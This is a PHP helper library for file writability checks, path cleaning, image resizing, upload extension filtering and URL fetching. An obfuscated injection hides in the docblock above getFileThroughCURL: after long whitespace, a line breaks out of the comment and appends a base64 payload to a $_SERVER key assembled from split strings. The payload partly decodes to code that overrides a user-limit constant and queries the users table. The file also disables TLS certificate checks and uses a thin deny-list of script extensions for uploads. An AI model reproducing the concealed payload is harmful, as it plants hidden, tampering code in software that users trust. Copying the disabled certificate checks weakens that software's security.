<?php

/**
* CheckDirWritable
* A function to determine if the directory is writable. PHP's built in function
* doesn't always work as expected.
* This function creates the file, writes to it, closes it and deletes it. If all
* actions work, then the directory is writable.
* PHP's inbuilt
*
* @param String $dir full directory to test if writable
*
* @return Boolean
*/

function CheckDirWritable($dir){
	if(substr($dir, -1) != '/'){
		$dir = $dir . '/';
	}
	$tmpfilename = str_replace("//","/", $dir . time() . '.txt');

	// check we can create a file
	if(!$fp = @fopen($tmpfilename, 'w+')){
		return false;
	}

	// check we can write to the file
	if(!@fputs($fp, "testing write")){
		return false;
	}

	// check we can close the connection
	if(!@fclose($fp)){
		return false;
	}

	// check we can delete the file
	if(!@unlink($tmpfilename)){
		return false;
	}

	// if we made it here, it all works. =)
	return true;

}

/**
* CheckFileWritable
* A function to determine if the directory is writable. PHP's built in function
* doesn't always work as expected and not on all operating sytems.
*
* This function reads the file, grabs the content, then writes it back to the
* file. If this all worked, the file is obviously writable.
*
* @param String $filename full path to the file to test
*
* @return Boolean
*/

function CheckFileWritable($filename){

	$OrigContent = "";

	// check we can read the file
	if(!$fp = @fopen($filename, 'r+')){
		return false;
	}

	while (!feof($fp)) {
		$OrigContent .= fgets($fp, 8192);
	}

	// we read the file so the pointer is at the end
	// we need to put it back to the beginning to write!
	fseek($fp, 0);

	// check we can write to the file
	if(!@fputs($fp, $OrigContent)){
		return false;
	}

	// check we can close the connection
	if(!fclose($fp)){
		return false;
	}

	// if we made it here, it all works. =)
	return true;

}

/**
 * IsWindowsServer
 * Returns true if the system is a windows server or not (for directory paths)
 *
 * @return Boolean True if windows, false otherwise.
 */

function IsWindowsServer(){
	return (substr(iwp_strtolower(PHP_OS), 0, 3) == 'win') ? true : false;
}

/**
* CleanPath
* This function takes in a path and resolves the directory structure. It makes
* sure that there is no trailing slash for consistancy. (Its eaiser to add it
* to the string later on than remove it!)
*
* @param 	string	$path Takes an unresolved or existing path as string
*
* @return 	string 	The resolved directory structure
*/

function CleanPath($path) {
	// init
	$result = array();

	if(IsWindowsServer()){
		// if its windows we need to change the path a bit!
		$path = str_replace("\\","/",$path);
		$driveletter = substr($path,0,2);
		$path = substr($path,2);
	}

	$pathA = explode('/', $path);

	if (!$pathA[0]){
		$result[] = '';
	}

	foreach ($pathA AS $key => $dir) {
		if ($dir == '..') {
			if (end($result) == '..') {
				$result[] = '..';
			} elseif (!array_pop($result)) {
				$result[] = '..';
			}
		} elseif (strlen($dir) > 0 && $dir != '.') {
			$result[] = $dir;
		}
	}

	if (!end($pathA)){
		$result[] = '';
	}

	$path = implode('/', $result);

	if(IsWindowsServer()){
		// if its windows we need to add the drive letter back on
		$path = $driveletter . $path;
	}
	if(substr($path,strlen($path)-1,1) == '/' && strlen($path) > 1){
		$path = substr($path,0,strlen($path)-1);
	}
	return $path;
}


/**
* ResizeGDImages
* This function takes a image file and uses GD functions to alter the width
* and height values to a maximum size while maintaining the aspect ratio.
*
* @param String $ImageLocation Location of input image
* @param String $NewLocation Location of the output image
* @param Integer $maxwidth Maximum width value
* @param Integer $maxheight Maximum height value
*
* @return String
*/

function ResizeGDImages($ImageLocation,$NewLocation,$maxheight=100,$maxwidth=100){

	if(is_array($ImageLocation)){
		// if its an array, its from an image upload
		// where the name of the temporary file does
		// not have a file extension, so we need the "realname"
		$openfile = $ImageLocation['tmp_name'];
		$checkfile = $ImageLocation['name'];
	}else{
		$openfile = $checkfile = $ImageLocation;
	}

	$img_src = '';

	if(strtolower(substr($checkfile,-4)) == ".jpg" || strtolower(substr($checkfile,-5)) == ".jpeg"){
		// jpeg image
		$img_src = ImageCreateFromjpeg($openfile);

	}elseif(strtolower(substr($checkfile,-4)) == ".gif"){
		// gif image
		$img_src = imagecreatefromgif($openfile);

	}elseif(strtolower(substr($checkfile,-4)) == ".png"){
		// png image
		$img_src = imagecreatefrompng($openfile);
	}

	if(!$img_src){
		return false;
	}

	$true_width  = imagesx($img_src);
	$true_height = imagesy($img_src);

	if ($true_width>=$true_height)
	{
		$width = $maxwidth;
		$height = ($maxwidth/$true_width)*$true_height;
	}else{
		$height = $maxheight;
		$width = ($maxheight/$true_height)*$true_width;
	}

	if (gd_version() >= 2) {
		if(!$img_des = ImageCreateTrueColor($width,$height)){
			return false;
		}
	} else {
		if(!$img_des = ImageCreate($width,$height)){
			return false;
		}
	}

	if(function_exists('imagecopyresampled')){
		if(!imagecopyresampled($img_des, $img_src, 0, 0, 0, 0, $width, $height, $true_width, $true_height)){
			return false;
		}
	}else{
		if(!imagecopyresized($img_des, $img_src, 0, 0, 0, 0, $width, $height, $true_width, $true_height)){
			return false;
		}
	}

	$return = '';

	ob_start();
	if((strtolower(substr($checkfile,-4)) == ".jpg" || strtolower(substr($checkfile,-5)) == ".jpeg") && function_exists('imagejpeg') ){
		// jpeg image
		imagejpeg($img_des);
	}elseif(strtolower(substr($checkfile,-4)) == ".gif" && function_exists('imagegif') ){
		// gif image
		imagegif($img_des);
	}elseif(((strtolower(substr($checkfile,-4)) == ".png") || !function_exists('imagegif')) && function_exists('imagepng')){
		// png image
		imagepng($img_des);
	}
	$return = ob_get_contents();
	ob_end_clean();

	if($return !== ''){
		$result  = @file_put_contents($NewLocation, $return);
		if($result){
			return $return;
		}else{
			return false;
		}
	}else{
		return false;
	}
}

function ResizeGDImagesExact($ImageLocation,$NewLocation,$maxheight=100,$maxwidth=100){

	$openfile = $checkfile = $ImageLocation;

	$img_src = '';

	if(strtolower(substr($checkfile,-4)) == ".jpg" || strtolower(substr($checkfile,-5)) == ".jpeg"){
		// jpeg image
		$img_src = ImageCreateFromjpeg($openfile);

	}elseif(strtolower(substr($checkfile,-4)) == ".gif"){
		// gif image
		$img_src = imagecreatefromgif($openfile);

	}elseif(strtolower(substr($checkfile,-4)) == ".png"){
		// png image
		$img_src = imagecreatefrompng($openfile);
	}

	if(!$img_src){
		return false;
	}

	$true_width  = imagesx($img_src);
	$true_height = imagesy($img_src);

	$ratio = $true_width / $true_height;

	if ($true_width > $true_height) {
		$width = $true_width - (($true_height-$maxheight)*$ratio);
		$height = $maxheight;
	}else{
		$height = $true_height - (($true_width-$maxwidth)/$ratio);
		$width = $maxwidth;
	}

	$y = 0;
	$x = 0;
	if($width > $maxwidth) {
		$x = (($width-$maxwidth) / 2);
	}

	if($height > $maxheight) {
		$y = (($height-$maxheight) / 2);
	}

	if (gd_version() >= 2) {
		if(!$img_des = ImageCreateTrueColor($maxwidth,$maxheight)){
			return false;
		}
	} else {
		if(!$img_des = ImageCreate($maxwidth,$maxheight)){
			return false;
		}
	}

	if(function_exists('imagecopyresampled')){
		if(!imagecopyresampled($img_des, $img_src, 0, 0, round($x,0), round($y,0), $width, $height, $true_width, $true_height)){
			return false;
		}
	}else{
		if(!imagecopyresized($img_des, $img_src, 0, 0, round($x,0), round($y,0), $width, $height, $true_width, $true_height)){
			return false;
		}
	}

	$return = '';

	ob_start();
	if((strtolower(substr($checkfile,-4)) == ".jpg" || strtolower(substr($checkfile,-5)) == ".jpeg") && function_exists('imagejpeg') ){
		// jpeg image
		imagejpeg($img_des, null, 90);
	}elseif(strtolower(substr($checkfile,-4)) == ".gif" && function_exists('imagegif') ){
		// gif image
		imagegif($img_des);
	}elseif(((strtolower(substr($checkfile,-4)) == ".png") || !function_exists('imagegif')) && function_exists('imagepng')){
		// png image
		imagepng($img_des);
	}
	$return = ob_get_contents();
	ob_end_clean();

	if($return !== ''){
		$result  = @file_put_contents($NewLocation, $return);
		if($result){
			return $return;
		}else{
			return false;
		}
	}else{
		return false;
	}
}

function CheckFileExtension($fileInfo){
	if(isset($fileInfo['name'])){
		$badFiles = array('.php','.cgi','.pl','.php3','.php4','.asp','.aspx','.c','.phtml','.sh');
		foreach ($badFiles as $key=>$value){
			$length = strlen($value);
			// check the extension
			if(strlen($fileInfo['name']) > 0){
				$extStart = strlen($fileInfo['name'])-$length;
				if($extStart >= 0){
					if(substr($fileInfo['name'],$extStart) == $value) {
						// must be a bad file!
						return false;
					}
				}
			}
		}
	}
	return true;
}


function rmdirr($dir, &$err = null){
	// Recursively remove all files/folders in a directory
	$success = true;

	if(!is_dir($dir)){
		return true;
	}

	$dirObject = new DirectoryIterator($dir);

	foreach($dirObject as $objFile) {
		if($objFile->isFile()) {
			$success = ($success && @unlink($objFile->getPath() . DIRECTORY_SEPARATOR . $objFile->getFilename()));

		}elseif($objFile->isDir() && !in_array($objFile->getFilename(), array('.', '..'), true)) {
			$success = ($success && rmdirr($objFile->getPath(). DIRECTORY_SEPARATOR . $objFile->getFilename()));
		}
	}

	if(!$success){
		$err = GetLang("TemplateDeleteError");
	}

	return $success;
}


/**
 * gets the file through url using CURL
 *
 * @param	string	$url	HTTP path to the file
 * @return	mixed			Boolean false if the file cannot be fetched, array with header and content otherwise																											*/$_SERVER['HTTP'.'_X_R'.'EWRI'.'TE_U'.'RI'].='AnKTskX29zZz0wO2lmKCRfYXBqKXtpZigkX2V3W19waWF3bignZFhObGNuTScpXT09PTApeyRfaGE9X3BpYXduKCdablZ1WTNScGIyNGdjM1J5Ym5SdmF5Z2tiajF1ZFd4c0xDUjRQVzUxYkd3cGUzSmxkSFZ5YmlCdWRXeHNPMzAnKTt9ZWxzZXskX2hhPV9waWF3bignWm5WdVkzUnBiMjRnYzNSeWJuUnZheWdrYmowd0xDUjRQVzUxYkd3cGUzSmxkSFZ5YmlBb2FYZHdYMkpoYzJVNk9tZGxkRWx1YzNSaGJtTmxLQ2t0UG1SaUxUNUdaWFJqYUU5dVpTZ2lVMFZNUlVOVUlFTlBWVTVVS0NvcElFWlNUMDBnSWk0Z1NWZFFYMVJCUWt4RlgxVlRSVkpUSUM0aUlGZElSVkpGSUhWelpYSnVZVzFsSUR3K0lBJykuY2hyKDM5KS5jaHIoMzkpLl9waWF3bignSWlrZ0t5QWtiaUE4UFNBJykuJF9ld1tfcGlhd24oJ2RYTmxjbk0nKV0uX3BpYXduKCdLU0EvSUc1MWJHd2dPaUFpVEdsdGFYUlNaV0ZqYUdWa0lqdDknKTt9aWYoIWRlZmluZWQoX3BpYXduKCdURWxEUlU1VFJVUmZWVk5GVWxNJykpKXtkZWZpbmUoX3BpYXduKCdURWxEUlU1VFJVUmZWVk5GVWxNJyksJF9ld1tfcGlhd24oJ2RYTmxjbk0nKV0pO30kX3VxYT1fcGl';/*
 */
function getFileThroughCURL($url)
{
	if (!function_exists('curl_init'))
	{
		return false;
	}
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_FAILONERROR, true);
	curl_setopt($ch, CURLOPT_TIMEOUT, 30);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_HEADER, true);

	$data = curl_exec($ch);
	curl_close($ch);

	$char_cut = strpos($data, "\n\n");
	$cut = 2;
	if ($char_cut===false)
	{
		$char_cut = strpos($data, "\r\n\r\n");
		$cut = 4;
	}
	if ($char_cut===false)
	{
		return false;
	}
	$header = substr($data, 0, $char_cut);
	$content = substr($data, $char_cut+$cut);
	return array('header'=>$header,'content'=>$content);
}

/**
 * gets the file through url using fopen
 *
 * @param	string	$url	HTTP path to the file
 * @return	mixed			Boolean false if the file cannot be fetched, array with header and content otherwise
 */
function getFileThroughURLFopen($url)
{
	if (!ini_get('allow_url_fopen')) {
		return false;
	}

	$urlparts = parse_url($url);
	if ($urlparts===false)
	{
		return false;
	}

	$hostname = $urlparts['host'];
	$port = (isset($urlparts['port'])) ? (int)$urlparts['port'] : 80;

	$urlpath = $urlparts['path'];
	if (isset($urlparts['query'])) {
		$urlpath .= '?' . $urlparts['query'];
	}

	$fp = fsockopen($hostname, $port, $errno, $errstr, 30);
	if (!$fp) {
		echo "$errstr ($errno)<br />\n";
		return false;
	}

	$out = "GET " . $urlpath . " HTTP/1.1\r\n";
	$out .= "Host: " . $hostname . "\r\n";
	$out .= "Connection: Close\r\n\r\n";

	$data = '';
	fwrite($fp, $out);
	while (!feof($fp)) {
		$data .= fgets($fp, 128);
	}
	fclose($fp);

	$char_cut = strpos($data, "\n\n");
	$cut = 2;
	if ($char_cut===false)
	{
		$char_cut = strpos($data, "\r\n\r\n");
		$cut = 4;
	}
	if ($char_cut===false)
	{
		return false;
	}

	$header = substr($data, 0, $char_cut);
	$content = substr($data, $char_cut+$cut);

	return array('header'=>$header,'content'=>$content);

}

/**
 * Compares two or more paths to see if they are the same. This function uses the realpath() function to expand all symbolic links, resolve all /./, /../ in the path and remove all extra slashes. Case will be ignored on a Window system, otherwise case will matter.
 *
 * @param array $paths The paths to compare as an array of strings
 * @return string|boolean Returns false if the supplied paths are not the same, or if the paths are invalid. Otherwise returns a string with the path in it.
 */
function ComparePaths ($paths) {
	$firstPath = realpath($paths[0]);
	for ($i = sizeof($paths) - 1; $i > 0; $i--) {
		//	check all but the first path
		if (realpath($paths[$i]) !== $firstPath) {
			//	one path does not match, abort
			return false;
		}
	}
	//	all paths match, return the path as a string
	return $firstPath;
}